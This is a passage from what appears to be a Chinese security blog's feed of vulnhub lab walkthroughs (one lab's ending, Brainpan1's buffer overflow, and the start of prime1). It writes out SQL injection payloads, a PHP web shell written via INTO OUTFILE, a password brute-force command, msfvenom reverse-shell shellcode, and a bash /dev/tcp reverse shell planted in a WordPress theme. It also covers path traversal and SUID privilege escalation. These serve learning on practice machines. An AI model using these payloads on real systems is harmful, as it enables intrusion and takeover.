&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p80,111,777 192.168.245.158&lt;/code&gt;用脚本扫一下漏洞，没有什么发现。
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.h_5KEk24_1OCyDL.webp&quot; alt=&quot;vulnscan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;简单访问一下80端口web服务。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.DacSqTkM_qDXYl.webp&quot; alt=&quot;http&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用目录爆破工具执行&lt;code&gt;gobuster dir -u http://192.168.245.158 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;进行目录爆破。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.2IF1c7ar_2s0KBw.webp&quot; alt=&quot;gobuster&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问爆破出的目录。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.B8eQSeNi_1zIDD6.webp&quot; alt=&quot;uploads&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.DUdyx12c_Z1kSfHl.webp&quot; alt=&quot;phpmyadmin&quot; /&gt;&lt;/li&gt;
&lt;li&gt;保存主页的gif，对于前面主页gif考虑有没有隐写，使用file和exiftool检查（exiftool使用参考&lt;a href=&quot;https://wilesangh.github.io/ctf-web/exiftool%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/#51&quot;&gt;https://wilesangh.github.io/ctf-web/exiftool%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/#51&lt;/a&gt;），这里发现的的P-&amp;gt;: kzMb5nVYJw   需要留意。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DdDo0WAa_2bNaRM.webp&quot; alt=&quot;gif&quot; /&gt;&lt;/li&gt;
&lt;li&gt;把其作为密码尝试以root身份进行ssh连接（使用777端口），没连接成，考虑其它途径。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.Cg_jfQIC_k84cX.webp&quot; alt=&quot;ssh&quot; /&gt;&lt;/li&gt;
&lt;li&gt;考虑作为目录，成功发现一个页面。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.r2rH210J_2eeqb4.webp&quot; alt=&quot;key&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看原码，此为一个密码表单，并且注释&lt;code&gt;this form isn&apos;t connected to mysql, password ain&apos;t that complex&lt;/code&gt;提示其不连接数据库，密码也不复杂。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.D-7RRxiH_Z1FIftw.webp&quot; alt=&quot;f12&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看hydra语法并且执行&lt;code&gt;hydra 192.168.245.158 http-form-post &quot;/kzMb5nVYJw/index.php:key=^PASS^:invalid key&quot; -l aaa -P /usr/share/wordlists/rockyou.txt&lt;/code&gt;,得到密码是elite。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.CsDO25MP_1QAioe.webp&quot; alt=&quot;grammar&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.78ys6ogm_ZuhCTb.webp&quot; alt=&quot;hydra&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进入后有个搜索框，尝试多次发现是对用户输入进行查询，测试是否有sql注入。
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.CEgiEc0q_tktrO.webp&quot; alt=&quot;search&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在仅输入&quot;时候存在注入。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.dVOnm6Ny_Z10E407.webp&quot; alt=&quot;injection&quot; /&gt;&lt;/li&gt;
&lt;li&gt;输入&lt;code&gt;&quot; union select 1; #&lt;/code&gt;，注入显示 Could not get data: The used SELECT statements have a different number of columns，直到&lt;code&gt;&quot; union select 1,2,3; #&lt;/code&gt;显示如图。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.CchZGMdf_Zx9yFX.webp&quot; alt=&quot;of&quot; /&gt;&lt;/li&gt;
&lt;li&gt;输入&lt;code&gt;&quot; union select database(),@@version,user(); #&lt;/code&gt;获取更多信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.C1ZDoz7D_ZGDcfP.webp&quot; alt=&quot;strings&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot; union select table_schema,table_name,3 from information_schema.tables; #&lt;/code&gt;获取表名。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.CGCBeXBo_Z2i0p9J.webp&quot; alt=&quot;revise&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot; union select table_name,2,3 from information_schema.tables where table_schema=&quot;seth&quot;; #&lt;/code&gt;缩小范围仅获取seth中的表名。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.C_yiMZlU_ZTWONE.webp&quot; alt=&quot;imu&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot; union select column_name,2,3 from information_schema.columns where table_schema=&quot;seth&quot; and table_name=&quot;users&quot;; #&lt;/code&gt;获取seth库users表的列名。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.C3Ml6vst_Z16TJSk.webp&quot; alt=&quot;offset&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot; union select id,user,pass from users; #&lt;/code&gt;，读到可能的密码&lt;code&gt;YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE&lt;/code&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.CDoEw5w3_2hbvHN.webp&quot; alt=&quot;ABC&quot; /&gt;&lt;/li&gt;
&lt;li&gt;base64解码为&lt;code&gt;c6d6bd7ebf806f43c76acc3681703b81&lt;/code&gt;，特征检验为md5 ，破解为omega
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.CXR9J4ek_ZmXXvQ.webp&quot; alt=&quot;base64&quot; /&gt;&lt;/li&gt;
&lt;li&gt;ssh登录上ramses
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.CgnnrdIZ_Z17WXcy.webp&quot; alt=&quot;ramses&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;另一种获取初始权限的办法&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&quot; union select &quot;&amp;lt;?php system($_GET[&apos;ooo&apos;]); ?&amp;gt;&quot;,&quot;&quot;,&quot;&quot; into outfile &quot;/var/www/html/uploads/shell.php&quot;;  #&lt;/code&gt;（前提：secure_file_priv设置可写），为参数ooo在url中拼接执行的指令可以执行。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.C81tSgwj_rdE3b.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;拼接cat指令，查看刚才的420search.php，其可能有数据库连接的信息，执行果然得到root的密码，可以用于登录数据库，进而得到
ramses的密码并登录
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.DTtPbwdn_K4WOD.webp&quot; alt=&quot;420&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;提权部分&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;按照权限搜索，执行&lt;code&gt;find / -group ramses -type f 2&amp;gt;/dev/null | grep -v &apos;/proc&apos; &lt;/code&gt;（Linux 系统中，查找所有所属用户组为 ramses 的普通文件，并过滤掉 /proc 目录下的结果）,&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/nul&lt;/code&gt;（Linux 系统中，查找所有设置了 SUID 权限的普通文件），以下为关注内容
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.CbFZsiv__1XSy9W.webp&quot; alt=&quot;search&quot; /&gt;&lt;/li&gt;
&lt;li&gt;cd到/var/www/backup，procwatch有suid权限。
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.CezEd_cG_Jtsbl.webp&quot; alt=&quot;suid&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行该文件发现执行三个进程，创建一个从 ps 指向 /bin/sh 的软链接，写入环境变量，再次执行获得root权限，渗透结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.WG1VPsxl_Z1nfan9.webp&quot; alt=&quot;rotted&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;其它补充&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;111端口运行的rpcbind旧称portmap,默认111端口，用于rpc程序号与网络地址/端口映射，由于很多 RPC 服务不固定端口、动态分配，客户端无法知道端口，通过rpcbind 统一提供查询入口。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;RPC（Remote Procedure Call）是一种协议，允许应用程序在不同计算机之间进行通信，并像调用本地函数一样调用远程服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;mysql5.0以上版本中，存在一个内置库information_schema，被视为一个虚拟数据库，用于获取数据库结构信息，如表名、列名、数据类型、索引和约束等（如columns表和tables表存放所有的列名和表名），提升了元数据查询的灵活性和跨版本兼容性。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-Brainpan1渗透(缓冲区溢出利用)</title><link>https://www.dxowo8.top/posts/post-8/8/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-8/8/</guid><description>记录Brainpan1靶机渗透记录</description><pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-Brainpan1渗透(缓冲区溢出利用)&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的Brainpan1靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/brainpan-1,51/&quot;&gt;&apos;https://vulnhub.com/entry/brainpan-1,51/&apos;&lt;/a&gt;，immunity debugger下载见&lt;a href=&quot;https://github.com/kbandla/ImmunityDebugger&quot;&gt;&apos;https://github.com/kbandla/ImmunityDebugger&apos;&lt;/a&gt;，mona模块下载和用法见&lt;a href=&quot;https://github.com/corelan/mona&quot;&gt;&apos;https://github.com/corelan/mona&apos;&lt;/a&gt;，badchars&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，首先打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;sudo nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.154为靶机（192.168.245.136为我的kali虚拟机的地址），并进行端口发现，执行&lt;code&gt;sudo nmap --min-rate 10000 -p- 192.168.245.154&lt;/code&gt;，并对开放端口记录用于后续渗透，发现9999和10000端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.B3Nq7ks3_VF3VN.webp&quot; alt=&quot;ip&amp;amp;ports&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;sudo nmap -sT -sV -sC -O -p9999,10000 192.168.245.154&lt;/code&gt;，9999端口是交互界面，10000端口是http服务。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.DsnjK0f2_1jBAHo.webp&quot; alt=&quot;details&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;sudo nmap --script=vuln -p9999,10000 192.168.245.154&lt;/code&gt;用脚本扫一下漏洞，没有什么发现。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.B6j25CS6_ZHVB0V.webp&quot; alt=&quot;vulnscan&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问10000端口的http服务，简单浏览后用dirb进行目录爆破（其它爆破工具也可以）。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.BwV0DYZq_Z2gHjXY.webp&quot; alt=&quot;http&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.Cgkl80Ua_1aWRUV.webp&quot; alt=&quot;dirb&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看bin目录，发现brainpan.exe，先使用wget将exe文件保存下来。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.BhccUkYn_ZmovQ7.webp&quot; alt=&quot;bin&quot; /&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.BydX-Q2q_1fh6Nh.webp&quot; alt=&quot;wget&quot; /&gt;&lt;/li&gt;
&lt;li&gt;接下来探测9999端口，使用&lt;code&gt;sudo nc 192.168.245.154 9999&lt;/code&gt;连接端口并尝试交互。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.CZpHBcL5_Z1ri3hb.webp&quot; alt=&quot;nc&quot; /&gt;&lt;/li&gt;
&lt;li&gt;转向刚才下载的brainpan.exe，分别用file、binwalk、strings查看文件详细信息、是否有捆绑文件以及文件内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DNdmMzAa_Z2qMu7M.webp&quot; alt=&quot;detect&quot; /&gt;&lt;/li&gt;
&lt;li&gt;找到一个词为shitstorm，不知道是否和密码有关系。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.BWr8jCKS_1vf79q.webp&quot; alt=&quot;shitstorm&quot; /&gt;&lt;/li&gt;
&lt;li&gt;再次nc连接9999端口，使用shitstorm登录，得到&apos;ACCESS GRANTED&apos;但是什么也没发生。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.ByPyPPiq_cCUlz.webp&quot; alt=&quot;pw&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在windows系统上运行该exe文件。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.ZTBUerFl_Zvs5EL.webp&quot; alt=&quot;exec&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试连接windows主机9999端口
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.Bm1gyMAx_1idaY.webp&quot; alt=&quot;passwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;从brainpan.exe的窗口看到以下信息，知道了其功能是将输入的字符存至缓冲区，可以尝试验证有没有缓冲区溢出漏洞。
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.B-v1v7Jo_Z1hc91B.webp&quot; alt=&quot;buffer&quot; /&gt;&lt;/li&gt;
&lt;li&gt;写一个python脚本负责连接和发送：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
import socket
import time
import sys

size = 100

while True:
    try:
        print &quot;\n[+] Send evil buffer %s bytes&quot; % size
        buffer = &apos;A&apos; * size

        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((&quot;192.168.245.1&quot;,9999))
        s.send(buffer)
        s.close()

        size += 100
        time.sleep(3)
    except:
        print &quot;\n[+] Could not connect.&quot;
        sys.exit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://www.dxowo8.top/_astro/15.CV1FNCTM_Z2sgwGS.webp&quot; alt=&quot;py&quot; /&gt;
14. 使用python2.7执行该代码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.D8P2F67M_ZMKUCd.webp&quot; alt=&quot;exec&quot; /&gt;
15. 分别查看状态，发现在执行600字节发送后无回应，说明不超过600字节处存在溢出。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.YfY1uo0j_Z1M6fB6.webp&quot; alt=&quot;of&quot; /&gt;
16. 使用&lt;code&gt;msf-pattern_create -l 600&lt;/code&gt;生成指定长度唯一模式的字符串，用于测定溢出偏移量。
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.DTcnjbGj_IaHG.webp&quot; alt=&quot;strings&quot; /&gt;
17. 将其写入python脚本，存入buffer变量发送。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.C3CbAnQa_ZBSiIb.webp&quot; alt=&quot;revise&quot; /&gt;
18. 使用immunity debugger打开brainpan.exe，用于溢出的定位，程序崩溃时读出EIP内容为0x35724134。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.BHDZnoMI_1wpSYd.webp&quot; alt=&quot;imu&quot; /&gt;
19. 使用&lt;code&gt;msf-pattern_offset -l 600 -q 35724134&lt;/code&gt;找到其偏移为524，即前524个字节填满缓冲区，从第525字节开始的连续4个字节（对应35724134）会覆盖 EIP。
&lt;img src=&quot;https://www.dxowo8.top/_astro/21.BFLmieXV_1HbNYs.webp&quot; alt=&quot;offset&quot; /&gt;
20. 再修改python脚本，试图让EIP被四个B覆盖，后面用C填充
&lt;img src=&quot;https://www.dxowo8.top/_astro/22.6e7U2ytt_Z2gJE3U.webp&quot; alt=&quot;ABC&quot; /&gt;
21. 执行前重新启动immunity debugger打开brainpan.exe，发现如愿整齐填充。
&lt;img src=&quot;https://www.dxowo8.top/_astro/23.DFhBmLJt_Z1OIPxt.webp&quot; alt=&quot;check&quot; /&gt;
22. 继续修改让C字符扩容到500个，目的是检测能够正常存入多少字节内容，用于后续在eip后写入shellcode。
&lt;img src=&quot;https://www.dxowo8.top/_astro/24.BEdPz1v3_Z1BRoTN.webp&quot; alt=&quot;enlarge&quot; /&gt;
23. 记录正常存储C的首末地址，用于下一步计算。
&lt;img src=&quot;https://www.dxowo8.top/_astro/25.DqZXUa1O_Z2j8BrJ.webp&quot; alt=&quot;calculate&quot; /&gt;
24. 输入python，回车后对地址减法运算，得知正常填充C个数为468个，一般shellcode应该可以写入。
&lt;img src=&quot;https://www.dxowo8.top/_astro/26.tywdwcAP_1uuVw1.webp&quot; alt=&quot;calculate&quot; /&gt;
25. 执行&lt;code&gt;git clone https://github.com/cytopia/badchars.git&lt;/code&gt;克隆github上的badchars库，用于筛查坏字节。
&lt;img src=&quot;https://www.dxowo8.top/_astro/27.DBjN5bA6_Q0VCy.webp&quot; alt=&quot;badchars&quot; /&gt;
26. 将badchars写入python脚本，重新通过immunity debugger打开brainpan.exe
&lt;img src=&quot;https://www.dxowo8.top/_astro/28.ByJuB8PL_22K4bl.webp&quot; alt=&quot;badchars&quot; /&gt;
27. 对窗口的esp右键并点击follow in dump，经过检查从01-FF均完整显示，只有00为坏字节。
&lt;img src=&quot;https://www.dxowo8.top/_astro/29.eAKkVYYt_Zp2W0I.webp&quot; alt=&quot;badchars&quot; /&gt;
28. 用msf-nasm_shell，查询jmp esp的操作码为FFE4。
&lt;img src=&quot;https://www.dxowo8.top/_astro/30.DJmSw1lR_ZjSkQM.webp&quot; alt=&quot;nasm&quot; /&gt;
29. 使用immunity debugger的mona插件执行&lt;code&gt;!mona modules&lt;/code&gt;进行模块查看，brainpan.exe的ASLR、SafeSEH、CFG均为False，很适合缓冲区溢出利用。
&lt;img src=&quot;https://www.dxowo8.top/_astro/31.Dl52oP9E_bEWOV.webp&quot; alt=&quot;modules&quot; /&gt;
30. 执行&lt;code&gt;!mona find -s &quot;\xff\xe4&quot; -m brainpan.exe&lt;/code&gt;找到跳转指令的地址为0x311712f3
&lt;img src=&quot;https://www.dxowo8.top/_astro/32.qEoqGDla_Z1GG2zP.webp&quot; alt=&quot;find&quot; /&gt;
31. 生成payload：执行&lt;code&gt;sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.245.136 LPORT=443 -b &quot;\x00&quot; -e x86/shikata_ga_nai -f c&lt;/code&gt;
&lt;img src=&quot;https://www.dxowo8.top/_astro/33.ZSquZYSQ_195B5d.webp&quot; alt=&quot;shellcode&quot; /&gt;
32. 把shellcode写入python脚本。（此处&quot;\x90&quot; * 16为slide字节用于缓冲，使能精准执行后面的shellcode）
&lt;img src=&quot;https://www.dxowo8.top/_astro/34.CTeHo48Z_1yAezi.webp&quot; alt=&quot;shellcode&quot; /&gt;
33. 在kali上打开监听，然后执行python脚本，测试成功，拿到反弹shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/35.U4eYLPNv_1iWDdG.webp&quot; alt=&quot;nc&quot; /&gt;
34. 执行&lt;code&gt;sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.245.136 LPORT=443 -b &quot;\x00&quot; -e x86/shikata_ga_nai -f c&lt;/code&gt;生成linux的payload并修改（方法均与上面相同），启动监听执行脚本拿到靶机的反弹shell。
&lt;img src=&quot;https://www.dxowo8.top/_astro/36.q6SMo5Il_1C9Ii9.webp&quot; alt=&quot;getshell&quot; /&gt;
35. 使用python提高shell交互性。
&lt;img src=&quot;https://www.dxowo8.top/_astro/37.DTNqW_3__ZPhf00.webp&quot; alt=&quot;pythonshell&quot; /&gt;
36. 在按照提示执行/home/anansi/bin/anansi_util时，如图可交互处可以直接执行!/bin/bash提权。
&lt;img src=&quot;https://www.dxowo8.top/_astro/38.Cxm8QP5f_1MITsB.webp&quot; alt=&quot;privilege&quot; /&gt;
37. 成功提权，拿到root的shell，渗透结束。
&lt;img src=&quot;https://www.dxowo8.top/_astro/39.XO7Jh6u__1vGGbx.webp&quot; alt=&quot;rooted&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;其它补充&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;步骤31的各名词解释：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;ASLR：False 表示该模块每次加载时内存地址都是固定的。意味着一旦找到可用的跳转地址，它就永远有效。&lt;/li&gt;
&lt;li&gt;SafeSEH：False 意味着该模块的异常处理函数没有被保护，可以被溢出攻击覆盖并劫持执行流程。&lt;/li&gt;
&lt;li&gt;CFG：False 表示没有启用控制流保护，攻击者可以轻松地将程序执行跳转到恶意代码上。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;步骤38处，原理是该文件带有SUID，交互处执行指令/bin/bash开启子进程，继承权限为进程所有者root，进而拿到root的shell，这是一个经典SUID提权漏洞。&lt;/li&gt;
&lt;li&gt;对于坏字节的检验：很多时候程序中，某些字节有特殊解析规则，如结束，转义等，绕开这些字节，payload才能完整正常执行。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>vulnhub靶机-prime1渗透记录</title><link>https://www.dxowo8.top/posts/post-7/7/</link><guid isPermaLink="true">https://www.dxowo8.top/posts/post-7/7/</guid><description>记录prime1靶机:模糊测试，wordpress后台利用，openssl解密</description><pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;vulnhub靶机-prime1渗透记录&lt;/h1&gt;
&lt;h2&gt;声明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;本文为个人跟随b站up主红队笔记学习vulnhub的prime1靶机的复现通关记录，旨在分享靶机和记录学习心得体会，讲解若有谬误之处欢迎指正。&lt;/li&gt;
&lt;li&gt;该靶机下载地址为&lt;a href=&quot;https://vulnhub.com/entry/prime-1,358/&quot;&gt;&apos;https://vulnhub.com/entry/prime-1,358/&apos;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;渗透流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在vmware部署靶机并开机后，首先打开kali对靶机进行信息收集，使用nmap执行&lt;code&gt;sudo nmap -sn 192.168.245.0/24&lt;/code&gt;(请替换成你的网段)进行主机发现，发现图中的192.168.245.148为靶机。（192.168.245.136为kali的ip地址）
&lt;img src=&quot;https://www.dxowo8.top/_astro/1.Dd2LVfxV_Z2jJob0.webp&quot; alt=&quot;主机发现&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进行端口发现，执行&lt;code&gt;sudo nmap --min-rate 10000 -p- 192.168.245.148&lt;/code&gt;，并对开放端口记录用于后续渗透，发现22和80端口。
&lt;img src=&quot;https://www.dxowo8.top/_astro/2.CLYtwYI1_ZB2hRl.webp&quot; alt=&quot;端口发现&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行详细扫描，执行&lt;code&gt;sudo nmap -sT -sV -sC -O -p22,80 192.168.245.148&lt;/code&gt;，没有很有用的信息。
&lt;img src=&quot;https://www.dxowo8.top/_astro/3.vddqDbZZ_Z5wrzz.webp&quot; alt=&quot;端口扫描&quot; /&gt;&lt;/li&gt;
&lt;li&gt;对端口进行漏洞扫描，执行&lt;code&gt;sudo nmap --script=vuln -p22,80 192.168.245.148&lt;/code&gt;未发现明显漏洞，但发现wordpress和登陆页面
&lt;img src=&quot;https://www.dxowo8.top/_astro/4.GQtdrkpn_ZXMNmR.webp&quot; alt=&quot;端口结果&quot; /&gt;&lt;/li&gt;
&lt;li&gt;访问80端口，有一篇以victor名义发布的post。
&lt;img src=&quot;https://www.dxowo8.top/_astro/5.Bya8F8Lz_Z1Bwp4k.webp&quot; alt=&quot;80p&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看登录页尝试一些简单密码，无法登入。
&lt;img src=&quot;https://www.dxowo8.top/_astro/6.C5lInoI6_Z1km8n7.webp&quot; alt=&quot;login&quot; /&gt;&lt;/li&gt;
&lt;li&gt;尝试执行&lt;code&gt;sudo dirb http://192.168.245.148&lt;/code&gt;尝试目录爆破，没有很有价值的，尝试增加参数。
&lt;img src=&quot;https://www.dxowo8.top/_astro/7.8tXDIKf9_1BYbIr.webp&quot; alt=&quot;爆破&quot; /&gt;&lt;/li&gt;
&lt;li&gt;继续尝试对zip，txt等类型文件进行爆破发现，成功得到一个secret.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/8.BG6jD-es_Z1rLwdw.webp&quot; alt=&quot;ziptxt&quot; /&gt;&lt;/li&gt;
&lt;li&gt;文件提示我们使用找到的php文件进行模糊测试，以及后面可能遇到的location.txt。
&lt;img src=&quot;https://www.dxowo8.top/_astro/9.DGk_PU2l_1pWXnp.webp&quot; alt=&quot;secret&quot; /&gt;&lt;/li&gt;
&lt;li&gt;我们开始目录爆破找php文件，方法同上，找到image.php和index.php，下面准备使用wfuzz进行模糊测试。
&lt;img src=&quot;https://www.dxowo8.top/_astro/10.D1_S0eHp_1s7jwo.webp&quot; alt=&quot;php&quot; /&gt;&lt;/li&gt;
&lt;li&gt;使用wfuzz对两个php文件进行模糊测试，执行&lt;code&gt;sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.245.148/index.php?FUZZ=aaa&lt;/code&gt;,其中--hh参数为过滤掉含有136参数的条目（此参数初次执行时候不加，在筛选结果时可以加上方便检索），修改路径使得分别对index.php和image.php进行模糊测试，FUZZ后面可以随意写一个值。
&lt;img src=&quot;https://www.dxowo8.top/_astro/11.3oK_3UKI_Z131r5h.webp&quot; alt=&quot;fuzz&quot; /&gt;&lt;/li&gt;
&lt;li&gt;通过增加--hh过滤之后，仅有index.php的file参数结果不同，执行&lt;code&gt;sudo curl http://192.168.245.148/index.php?file=&lt;/code&gt;，说错误文件，想起location.txt尝试填入，给出一个参数secrettier360，让去另一个php尝试。
&lt;img src=&quot;https://www.dxowo8.top/_astro/12.OQys3bkO_2eyGTv.webp&quot; alt=&quot;参数&quot; /&gt;&lt;/li&gt;
&lt;li&gt;用正确参数和正确php文件尝试目录穿越&lt;code&gt;sudo curl http://192.168.245.148/image.php?secrettier360=../../../../../../../../../etc/passwd&lt;/code&gt;，可以获得文件内容。
&lt;img src=&quot;https://www.dxowo8.top/_astro/13.CgzR8b_T_ZwAEQ1.webp&quot; alt=&quot;passwd&quot; /&gt;&lt;/li&gt;
&lt;li&gt;其中提到有个password.txt，我们修改参数查看获得一个密码follow_the_ippsec
&lt;img src=&quot;https://www.dxowo8.top/_astro/14.QD3macTv_rLQYi.webp&quot; alt=&quot;密码&quot; /&gt;&lt;/li&gt;
&lt;li&gt;回到wordpress登录页面，尝试用密码登录victor用户（主页文章作者以及/etc/passwd中都让我们感觉到victor可能是后台管理员用户）
&lt;img src=&quot;https://www.dxowo8.top/_astro/15.3I0UEekY_4Ct.webp&quot; alt=&quot;wordpress&quot; /&gt;&lt;/li&gt;
&lt;li&gt;成功登入后台，对于wordpress后台常用的突破口有，plugin插件上传和主题代码，先尝试plugin上传，发现被防护。
&lt;img src=&quot;https://www.dxowo8.top/_astro/16.DZ9uPZgb_1C2aVa.webp&quot; alt=&quot;plugin&quot; /&gt;&lt;/li&gt;
&lt;li&gt;接下来对主题页面代码寻找可编辑的php文件，找到secret.php，根据提示是我们要可以利用的php文件，插入&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.245.136/1234 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;&lt;/code&gt;并保存。
&lt;img src=&quot;https://www.dxowo8.top/_astro/17.D1s7ovYj_2r3nhh.webp&quot; alt=&quot;shell&quot; /&gt;&lt;/li&gt;
&lt;li&gt;根据wordpress项目原码，可知该页面需要通过&lt;code&gt;http://IP/wordpress/wp-content/themes/twentynineteen/secret.php&lt;/code&gt;访问，在此之前在kali上打开443端口监听，访问后拿到一个反弹shell，用户为www-data，使用sudo -l 查看在/home/saket/enc有root权限
&lt;img src=&quot;https://www.dxowo8.top/_astro/18.Bw8Ua9Qp_Z2hqDEu.webp&quot; alt=&quot;www-data&quot; /&gt;&lt;/li&gt;
&lt;li&gt;进一步了解后，发现enc是个可执行文件，并需要密码。
&lt;img src=&quot;https://www.dxowo8.top/_astro/19.DnC0F8w__1X2pzx.webp&quot; alt=&quot;查看权限提权&quot; /&gt;&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;find / -name &apos;*backup*&apos; 2&amp;gt;/dev/null | sort | less&lt;/code&gt;找到个/opt/backup/server_database/backup_pass，我们查看文件发现密码&lt;code&gt;backup_password&lt;/code&gt;。
&lt;img src=&quot;https://www.dxowo8.top/_astro/20.ChE2q_1U_1YXnRi.webp&quot; alt=&quot;backup_password&quot; /&gt;&lt;/li&gt;
